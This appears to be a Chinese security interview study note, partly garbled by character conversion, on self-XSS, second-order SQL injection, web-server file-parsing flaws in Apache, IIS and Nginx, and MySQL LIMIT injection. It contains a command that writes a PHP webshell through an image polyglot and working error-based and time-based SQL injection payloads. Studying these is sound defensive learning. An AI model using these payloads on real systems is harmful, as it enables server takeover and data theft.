記錄下我這次面試過程中不會的內容,有待之後學習,有些還沒有總結完
self-xss(自跨站指令碼攻擊)是一種由受害者自己輸入xss payload觸發才能成功的xss攻擊行為,這種攻擊可基於dom,或是建立在僅該使用者可操作或可見的域。
比較雞肋,經常和csrf一起使用效果不錯
這裡有乙個關於self-xss結合csrf的例項
雞肋csrf和self-xss組合的變廢為寶
二次注入是指已儲存(資料庫、檔案)的使用者輸入被讀取後再次進入到 sql 查詢語句中導致的注入。
在第一次進行資料庫插入資料的時候,僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字元進行了轉義,在寫入資料庫的時候還是保留了原來的資料,但是資料本身還是髒資料,轉義的資料存入資料庫後被還原。
在將資料存入到了資料庫中之後,開發者就認為資料是可信的。在下一次進行需要進行查詢的時候,直接從資料庫中取出了髒資料,沒有進行進一步的檢驗和處理,這樣就會造成sql的二次注入。比如在第一次插入資料的時候,資料中帶有單引號,直接插入到了資料庫中;然後在下一次使用中在拼湊的過程中,就形成了二次注入。
apache中介軟體早期版本在解析 shell.php.x1.x2.x3的檔案時,是從右往左開始解析,如果遇到不認識的字尾名,就在往左解析,x3無法解析,接著往左判斷x2也不可解析,最後直到php字尾解析成功
除了php字尾外,php|php3|php4|php5|phtml也可以被apache解析
### 2. iis解析漏洞
#### 1. iis 6.0
1、目錄解析
example:www.***.com/***.asp/***.jpg
「` iis伺服器會把.asp或.asa目錄下的檔案都解析成asp檔案。對於/***.asp/***.jpg(***.jpg可替換成任意文字檔案),iis 6.0會將***.jpg解析成asp檔案。
2、檔案解析
example:www.***.com/***.asp;.jpg
只要檔案檔名中有.asp,就會優先按asp來解析。例如,對於***.asp;.jpg(需要抓包需改檔名),iis 6.0都會把這種檔案解析成asp檔案。(***.asp;.jpg這類檔案在windows下不允許存在,;.jpg會被自動除去)
3、iis 6.0除了asp還可以解析 .asa .cer .cdx型別的檔案
例如:
- /***.asa
- /***.cer
- /***.cdx
在iis預設配置中,這幾個字尾都由asp.dll來解析
2. iis 7.0/7.5 nginx <8.03
主要是在對php解析時存在類似於nginx的解析漏洞,並且需要處於fast-cgi開啟狀態。這種漏洞的利用方式是在任意檔名的url後追加字串」/任意檔名.php」,那麼就會按照php的方式來解析。
利用方式
copy ***.jpg/b + ***.txt/a yyy.jpg
***.txt的內容為
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_post[cmd])?>');?>
iis 7.0/7.5下的解析漏洞是由於php-cgi本身的問題導致的,與iis自身並沒有直接關係。
目前nginx的解析漏洞利用方式基本上和apache,iis一致,乙個是對於任意檔名加/任意檔名.php的解析漏洞,如原檔名是test.jpg,可以新增為test.jpg/x.php進行解析。還有一種是針對低版本的nginx,可以在任意檔名後面新增%00.php進行解析。
主要影響的版本有:
- nginx 0.5.*
- nginx 0.6.*
- nginx 0.7<=0.7.65
- nginx 0.8<=0.8.37
任意檔名/任意檔名.php這個漏洞是出自php-cgi的漏洞,與nginx本身無關
select field from table where id > 0 order by id limit 【注入點】
limit 關鍵字後面還有 procedure 和 into 關鍵字,into 關鍵字可以用來寫檔案,但這在本文中不重要,這裡的重點是 procedure 關鍵字.mysql預設可用的儲存過程只有 analyse (doc)。
嘗試了如下payload :
mysql> select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
error 1105 (hy000): xpath syntax error: ':5.5.41-0ubuntu0.14.04.1'
上面的方法就是常見的報錯注入,所以,如果注入點支援報錯,那所有問題都ok,但是如果注入點不是報錯的,還可以使用 time-based 的注入,payload 如下:
select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)
這裡不能用sleep而只能用 benchmark,sleep 在analyse 中沒有被執行。 安全面試 安全面試總結2
記錄下我這次面試過程中不會的內容,有待之後學習,有些還沒有總結完 self xss 自跨站指令碼攻擊 是一種由受害者自己輸入xss payload觸發才能成功的xss攻擊行為,這種攻擊可基於dom,或是建立在僅該使用者可操作或可見的域。比較雞肋,經常和csrf一起使用效果不錯 這裡有乙個關於self...
360企業安全面試隨筆
題目 1 陣列的常用api有哪些?1 join arr t y s k arr.join t.y.s.k string.split 執行的操作與 array.join 執行的操作是相反的。string.split string.split string.split string.split 3 2 ...
MySQL安全 面試 PHP面試之MySQL安全性
mysql查詢的安全方案使用預處理語句防止sql注入 如刪除id 1的使用者delete from user where id 1 在瀏覽器中通過get方式傳遞id值,get id 1,如user delete?id 1 如果瀏覽器惡意傳值。如下user delete?id 1 or 1 1 值為1...